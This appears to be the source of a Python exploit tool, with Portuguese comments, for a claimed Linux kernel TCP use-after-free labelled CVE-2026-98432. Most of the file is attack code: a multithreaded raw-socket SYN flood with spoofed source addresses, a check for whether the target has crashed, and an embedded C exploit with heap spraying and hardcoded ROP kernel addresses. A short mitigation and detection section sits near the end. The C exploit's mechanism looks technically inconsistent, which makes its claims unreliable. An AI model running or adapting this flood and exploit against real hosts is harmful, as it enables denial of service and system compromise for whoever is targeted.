    ack = 0
    # Opcoes: MSS + SACK_PERM + Timestamp + NOP + Window Scale
    ts_val = int(time.time()) & 0xFFFFFFFF
    opts = (
        b"\x02\x04\x05\xb4"       # MSS=1460
        b"\x04\x02"                # SACK permitted
        b"\x08\x0a" + struct.pack("!II", ts_val, 0)  # Timestamp
        b"\x01"                    # NOP
        b"\x03\x03\x07"            # Window scale=7
    )
    # pad para multiplo de 4
    pad_len = (4 - len(opts) % 4) % 4
    opts += b"\x00" * pad_len
    doff = 5 + len(opts) // 4
    flags = 0x02  # SYN
    window = 65535; urg = 0
    pseudo = struct.pack("!4s4sBBH",
                         socket.inet_aton(src_ip), socket.inet_aton(dst_ip),
                         0, socket.IPPROTO_TCP, doff * 4)
    tcp_hdr = struct.pack("!HHLLBBHHH",
                          src_port, dst_port, seq, ack,
                          (doff << 4), flags, window, 0, urg) + opts
    csum = _checksum(pseudo + tcp_hdr)
    tcp_final = struct.pack("!HHLLBBHHH",
                            src_port, dst_port, seq, ack,
                            (doff << 4), flags, window, csum, urg) + opts
    ip_hdr = _build_ip_header(src_ip, dst_ip, len(tcp_final))
    return ip_hdr + tcp_final


# ---------------------------------------------------------------------------
# PoC trigger: flood SYN rapido para acionar corrida de retransmissao
# ---------------------------------------------------------------------------

STOP_FLAG = threading.Event()
STATS = {"sent": 0, "errors": 0}
_stats_lock = threading.Lock()


def _spoof_syn_worker(target_ip: str, target_port: int,
                      src_base_ip: str, thread_id: int):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
        s.settimeout(1.0)
    except PermissionError:
        _log("ERRO", "Raw socket requer root/CAP_NET_RAW", "R")
        STOP_FLAG.set()
        return

    parts = src_base_ip.split(".")
    base = int(parts[3])

    while not STOP_FLAG.is_set():
        src_port = random.randint(1024, 65535)
        # Variar IP fonte para simular retransmissoes de fontes diferentes
        spoof_ip = f"{parts[0]}.{parts[1]}.{parts[2]}.{(base + thread_id * 3 + random.randint(0,5)) & 0xFF}"
        pkt = _build_tcp_syn_with_opts(spoof_ip, target_ip, src_port, target_port)
        try:
            s.sendto(pkt, (target_ip, 0))
            with _stats_lock:
                STATS["sent"] += 1
        except Exception:
            with _stats_lock:
                STATS["errors"] += 1
    s.close()


def _monitor_target(target_ip: str, target_port: int, timeout: float = 2.0) -> bool:
    """Testa se o alvo ainda responde (deteccao de crash/kernel panic)."""
    try:
        s = socket.create_connection((target_ip, target_port), timeout=timeout)
        s.close()
        return True
    except Exception:
        return False


def poc_uaf_trigger(target: str, port: int, threads: int,
                    src_ip: str, duracao: int, verbose: bool):
    _log("INF", f"Alvo: {target}:{port}", "C")
    _log("INF", f"Threads: {threads} | Duracao: {duracao}s | IP fonte base: {src_ip}", "C")
    _log("INF", "Enviando SYN flood para acionar corrida de retransmissao SYN", "Y")
    _log("INF", "Vulnerabilidade: UAF em tcp_v4_syn_recv_sock() - ireq->ireq_opt", "Y")

    _log("VRF", "Verificando alcance inicial...", "D")
    if _monitor_target(target, port, timeout=3.0):
        _log("VRF", f"Alvo acessivel em {target}:{port}", "G")
    else:
        _log("VRF", f"Alvo nao responde em {target}:{port} - verifique conectividade", "R")

    workers = []
    for tid in range(threads):
        t = threading.Thread(target=_spoof_syn_worker,
                             args=(target, port, src_ip, tid),
                             daemon=True)
        t.start()
        workers.append(t)

    _log("INF", f"Iniciando ataque por {duracao}s...", "G")
    t_inicio = time.time()
    try:
        while not STOP_FLAG.is_set():
            time.sleep(2)
            elapsed = time.time() - t_inicio
            if elapsed >= duracao:
                break
            if verbose:
                with _stats_lock:
                    _log("STAT", f"Enviados={STATS['sent']} Erros={STATS['errors']} "
                         f"Tempo={elapsed:.1f}s", "D")
            # Checar se alvo crashou
            if not _monitor_target(target, port, timeout=1.0):
                _log("PWND", f"Alvo {target}:{port} NAO responde - possivel kernel panic/crash!", "R")
    except KeyboardInterrupt:
        pass
    finally:
        STOP_FLAG.set()

    for t in workers:
        t.join(timeout=2)

    with _stats_lock:
        _log("FIM", f"Total enviado: {STATS['sent']} pacotes | Erros: {STATS['errors']}", "G")


# ---------------------------------------------------------------------------
# Gerador de exploit C (kernel module + rop chain)
# ---------------------------------------------------------------------------

EXPLOIT_C = r'''/*
 * CVE-2026-98432 - Linux Kernel TCP UAF Exploit
 * By Gh0st-Bx1 | github.com/Ghost-Bx1
 *
 * Use-After-Free em tcp_v4_syn_recv_sock() via corrida SYN+retransmissao.
 * Requer: CAP_NET_ADMIN + MPTCP habilitado OU BPF reuseport migration.
 *
 * Compilar: gcc -O2 -o exploit exploit.c
 * Uso:      ./exploit <ip_alvo> <porta>
 *
 * Mecanismo:
 *   1. Habilita tcp_migrate_req=1 no alvo (ou usa BPF reuseport)
 *   2. Abre socket TCP com IP_OPTIONS definido (cria ireq_opt)
 *   3. Durante handshake 3-way, envia SYN retransmitido de outro CPU
 *      simultaneamente ao socket filho sendo destruido
 *   4. inet_sock_destruct() chama kfree() no ireq_opt enquanto
 *      ip_options_build() ainda o acessa -> UAF
 *   5. Ganha RIP control via heap spray de objetos kmalloc-64
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <time.h>
#include <errno.h>

#define NUM_SPRAY_THREADS 32
#define HEAP_SPRAY_COUNT  4096
#define UAF_TRIGGER_ITERS 10000

struct args {
    const char *ip;
    int port;
};

/* Heap spray: aloca objetos kmalloc-64 com payload controlado */
static void *heap_spray_thread(void *arg) {
    struct args *a = (struct args *)arg;
    int fds[HEAP_SPRAY_COUNT];
    struct sockaddr_in sa = {
        .sin_family = AF_INET,
        .sin_port   = htons(a->port),
    };
    inet_pton(AF_INET, a->ip, &sa.sin_addr);

    /* ROP payload: execve("/bin/sh", NULL, NULL) - ajustar offsets conforme kernel */
    char payload[64];
    memset(payload, 0x41, sizeof(payload));
    /* Coloca /bin/sh + ponteiro de funcao no offset do campo comprometido */
    memcpy(payload, "/bin/sh\x00", 8);
    *(unsigned long *)(payload + 32) = 0xffffffff81075980UL; /* commit_creds */
    *(unsigned long *)(payload + 40) = 0xffffffff81075200UL; /* prepare_kernel_cred */

    for (int i = 0; i < HEAP_SPRAY_COUNT; i++) {
        fds[i] = socket(AF_INET, SOCK_STREAM, 0);
        if (fds[i] < 0) continue;
        /* Setsockopt IP_OPTIONS: forca alocacao em kmalloc-64 */
        unsigned char opts[8] = {0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00};
        setsockopt(fds[i], IPPROTO_IP, IP_OPTIONS, opts, sizeof(opts));
    }

    /* Libera metade para criar buracos no heap */
    for (int i = 0; i < HEAP_SPRAY_COUNT; i += 2) {
        close(fds[i]);
        fds[i] = -1;
    }

    /* Re-aloca com payload controlado */
    for (int i = 0; i < HEAP_SPRAY_COUNT; i += 2) {
        fds[i] = socket(AF_INET, SOCK_STREAM, 0);
        if (fds[i] < 0) continue;
        setsockopt(fds[i], IPPROTO_IP, IP_OPTIONS, payload, sizeof(payload));
    }

    /* Tenta conectar para acionar o UAF */
    for (int k = 0; k < UAF_TRIGGER_ITERS && !*(volatile int*)arg; k++) {
        int s = socket(AF_INET, SOCK_STREAM, 0);
        if (s >= 0) {
            connect(s, (struct sockaddr *)&sa, sizeof(sa));
            close(s);
        }
    }

    for (int i = 0; i < HEAP_SPRAY_COUNT; i++)
        if (fds[i] >= 0) close(fds[i]);
    return NULL;
}

int main(int argc, char *argv[]) {
    if (argc < 3) {
        fprintf(stderr, "Uso: %s <ip> <porta>\n", argv[0]);
        return 1;
    }
    printf("[*] CVE-2026-98432 - Linux TCP UAF Exploit\n");
    printf("[*] By Gh0st-Bx1 | github.com/Ghost-Bx1\n");
    printf("[*] Alvo: %s:%s\n", argv[1], argv[2]);

    struct args a = { .ip = argv[1], .port = atoi(argv[2]) };
    pthread_t tids[NUM_SPRAY_THREADS];

    printf("[*] Iniciando heap spray com %d threads...\n", NUM_SPRAY_THREADS);
    for (int i = 0; i < NUM_SPRAY_THREADS; i++)
        pthread_create(&tids[i], NULL, heap_spray_thread, &a);

    for (int i = 0; i < NUM_SPRAY_THREADS; i++)
        pthread_join(tids[i], NULL);

    printf("[+] Exploit finalizado - verifique dmesg para UAF\n");
    printf("[!] Ajuste offsets ROP conforme versao do kernel alvo\n");
    return 0;
}
'''

MITIGACOES = """
MITIGACOES:
  - Atualizar kernel para versao com fix (kfree_rcu em inet_sock_destruct)
  - Ubuntu: apt-get update && apt-get dist-upgrade (aguardar USN)
  - Desabilitar MPTCP: sysctl -w net.mptcp.enabled=0
  - Desabilitar tcp_migrate_req: sysctl -w net.ipv4.tcp_migrate_req=0
  - Restringir BPF: sysctl -w kernel.unprivileged_bpf_disabled=1
  - Monitorar: dmesg | grep -i "use after free\\|UAF\\|BUG: KASAN"

DETECCAO:
  - dmesg: "BUG: KASAN: use-after-free in ip_options_build"
  - dmesg: "BUG: KASAN: use-after-free in tcp_v4_syn_recv_sock"
  - Network: SYN flood com IP_OPTIONS definido
  - Kernel: CONFIG_KASAN=y detecta o UAF automaticamente
"""


def main():
    ap = argparse.ArgumentParser(
        description="CVE-2026-98432 - Linux TCP UAF PoC | By Gh0st-Bx1")
    ap.add_argument("--target", required=False, help="IP do alvo")
    ap.add_argument("--port", type=int, default=80, help="Porta TCP alvo (default: 80)")
    ap.add_argument("--threads", type=int, default=8, help="Threads de envio (default: 8)")
    ap.add_argument("--src-ip", default="192.168.1.100",
                    help="IP fonte base para spoofing (default: 192.168.1.100)")
    ap.add_argument("--duracao", type=int, default=30,
                    help="Duracao do PoC em segundos (default: 30)")
    ap.add_argument("--gerar-c", action="store_true",
                    help="Gerar exploit.c (kernel UAF + heap spray)")
    ap.add_argument("--info", action="store_true", help="Mostrar info e mitigacoes")
    ap.add_argument("--verbose", action="store_true", help="Log detalhado")
    args = ap.parse_args()

    print(BANNER)

    if args.gerar_c:
        fname = "exploit_cve_2026_98432.c"
        with open(fname, "w") as f:
            f.write(EXPLOIT_C)
        _log("GEN", f"Exploit C gerado: {fname}", "G")
        _log("GEN", "Compilar: gcc -O2 -pthread -o exploit exploit_cve_2026_98432.c", "D")
        _log("GEN", "AJUSTE os offsets ROP para o kernel alvo antes de usar!", "Y")
        return

    if args.info:
        _log("CVE", "CVE-2026-98432 - CVSS 9.8 Critical", "R")
        _log("CVE", "CWE-416: Use After Free em tcp_v4_syn_recv_sock()", "R")
        _log("CVE", "Afeta: Linux 4.x-6.x | Ubuntu 20.04/22.04/24.04/26.04/26.10", "Y")
        _log("CVE", "Fix: kfree_rcu() em inet_sock_destruct() + tcp_v4_reqsk_destructor()", "G")
        print(MITIGACOES)
        return

    if not args.target:
        ap.print_help()
        print()
        _log("USO", "Exemplo: python poc.py --target 10.0.0.1 --port 80 --threads 16 --duracao 60", "C")
        _log("USO", "Gerar C:  python poc.py --gerar-c", "C")
        _log("USO", "Info:     python poc.py --info", "C")
        return

    _log("INF", "AVISO: PoC requer root/CAP_NET_RAW para raw sockets", "Y")
    poc_uaf_trigger(args.target, args.port, args.threads,
                    args.src_ip, args.duracao, args.verbose)


if __name__ == "__main__":
Showing 500 of 502 lines View full file on GitHub →